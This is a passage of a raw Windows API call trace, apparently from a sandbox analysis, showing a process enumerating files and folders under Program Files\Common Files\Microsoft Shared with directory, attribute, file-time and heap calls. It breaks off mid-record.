[0064.325] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0064.325] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9896ac00, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9896ac00, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1e434, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBOB6.CHM", cAlternateFileName="")) returned 1 [0064.325] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0064.325] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0064.325] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0064.325] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0064.325] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0064.325] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb3de0 [0064.325] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb3460 [0064.326] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0064.326] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0eee700, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa0eee700, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x65c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBUI6.CHM", cAlternateFileName="")) returned 1 [0064.326] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0064.326] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0064.326] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0064.326] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0064.326] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0064.326] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb3e00 [0064.326] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb3568 [0064.326] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0064.326] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0eee700, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa0eee700, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x65c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBUI6.CHM", cAlternateFileName="")) returned 0 [0064.326] GetLastError () returned 0x12 [0064.326] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1a0 [0064.326] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0064.326] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.326] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1574f00, ftCreationTime.dwHighDateTime=0x1be23e3, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1574f00, ftLastWriteTime.dwHighDateTime=0x1be23e3, nFileSizeHigh=0x0, nFileSizeLow=0x51a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="FM20.CHM", cAlternateFileName="")) returned 1 [0064.326] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6edd8500, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6edd8500, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1ac96, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBCN6.CHM", cAlternateFileName="")) returned 1 [0064.326] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f2be900, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5f2be900, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x25d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7INTL.DLL", cAlternateFileName="")) returned 1 [0064.326] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d2ba100, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7d2ba100, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1195f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBENDF98.CHM", cAlternateFileName="")) returned 1 [0064.326] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8583dc00, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8583dc00, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0xe2aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBHW6.CHM", cAlternateFileName="")) returned 1 [0064.326] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x903e7100, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x903e7100, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0xe6b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBLR6.CHM", cAlternateFileName="")) returned 1 [0064.326] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9896ac00, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9896ac00, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1e434, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBOB6.CHM", cAlternateFileName="")) returned 1 [0064.326] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0eee700, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa0eee700, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x65c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBUI6.CHM", cAlternateFileName="")) returned 1 [0064.326] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0eee700, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa0eee700, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x65c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBUI6.CHM", cAlternateFileName="")) returned 0 [0064.327] GetLastError () returned 0x12 [0064.327] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd88) returned 1 [0064.327] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0064.327] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ead8) returned 1 [0064.327] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c5a0) returned 1 [0064.327] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d3ae00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xe2340dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56d3ae00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x381748, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7.DLL", cAlternateFileName="")) returned 1 [0064.327] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d3ae00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xe2340dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56d3ae00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x381748, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7.DLL", cAlternateFileName="")) returned 0 [0064.327] GetLastError () returned 0x12 [0064.327] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0064.327] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0064.328] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0064.328] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0064.328] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA7", cAlternateFileName="")) returned 0 [0064.328] GetLastError () returned 0x12 [0064.328] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0064.328] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0064.328] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0064.328] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0064.328] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC", cAlternateFileName="")) returned 1 [0064.328] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0064.328] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC" (normalized: "c:\\program files\\common files\\microsoft shared\\vc"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0064.329] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC" (normalized: "c:\\program files\\common files\\microsoft shared\\vc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0064.330] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0064.330] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfb6d10 [0064.330] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb6d10, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xfb6d10, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0064.330] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb6d10) returned 1 [0064.330] NtClose (Handle=0x184) returned 0x0 [0064.330] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0064.330] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0064.330] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0064.330] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0064.330] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d160 [0064.330] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.330] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ef3e00, ftCreationTime.dwHighDateTime=0x1cbd033, ftLastAccessTime.dwLowDateTime=0xd2618ca0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc9ef3e00, ftLastWriteTime.dwHighDateTime=0x1cbd033, nFileSizeHigh=0x0, nFileSizeLow=0xf1b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia100.dll", cAlternateFileName="")) returned 1 [0064.330] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0064.330] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0064.330] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0064.330] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0064.330] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0064.331] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0064.331] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c53c00, ftCreationTime.dwHighDateTime=0x1cbfdf3, ftLastAccessTime.dwLowDateTime=0xbd2c6940, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc1c53c00, ftLastWriteTime.dwHighDateTime=0x1cbfdf3, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 1 [0064.331] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0064.331] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0064.331] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0064.331] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0064.331] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0064.331] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0064.331] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c53c00, ftCreationTime.dwHighDateTime=0x1cbfdf3, ftLastAccessTime.dwLowDateTime=0xbd2c6940, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc1c53c00, ftLastWriteTime.dwHighDateTime=0x1cbfdf3, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 0 [0064.331] GetLastError () returned 0x12 [0064.331] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d220 [0064.331] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0064.331] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.331] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ef3e00, ftCreationTime.dwHighDateTime=0x1cbd033, ftLastAccessTime.dwLowDateTime=0xd2618ca0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc9ef3e00, ftLastWriteTime.dwHighDateTime=0x1cbd033, nFileSizeHigh=0x0, nFileSizeLow=0xf1b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia100.dll", cAlternateFileName="")) returned 1 [0064.331] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c53c00, ftCreationTime.dwHighDateTime=0x1cbfdf3, ftLastAccessTime.dwLowDateTime=0xbd2c6940, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc1c53c00, ftLastWriteTime.dwHighDateTime=0x1cbfdf3, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 1 [0064.331] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c53c00, ftCreationTime.dwHighDateTime=0x1cbfdf3, ftLastAccessTime.dwLowDateTime=0xbd2c6940, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc1c53c00, ftLastWriteTime.dwHighDateTime=0x1cbfdf3, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 0 [0064.331] GetLastError () returned 0x12 [0064.331] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0064.331] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0064.331] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0064.331] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0064.331] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX", cAlternateFileName="")) returned 1 [0064.331] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0064.331] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0064.332] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0064.332] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0064.332] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfb6d10 [0064.332] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb6d10, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xfb6d10, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0064.332] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb6d10) returned 1 [0064.332] NtClose (Handle=0x190) returned 0x0 [0064.332] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0064.332] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0064.332] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0064.332] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0064.332] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d220 [0064.332] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.332] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a7ff6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee7a7ff6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x454d7b80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x10f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 1 [0064.333] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0064.333] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0064.333] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0064.333] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0064.333] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0064.333] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0064.333] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a7ff6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee7a7ff6, 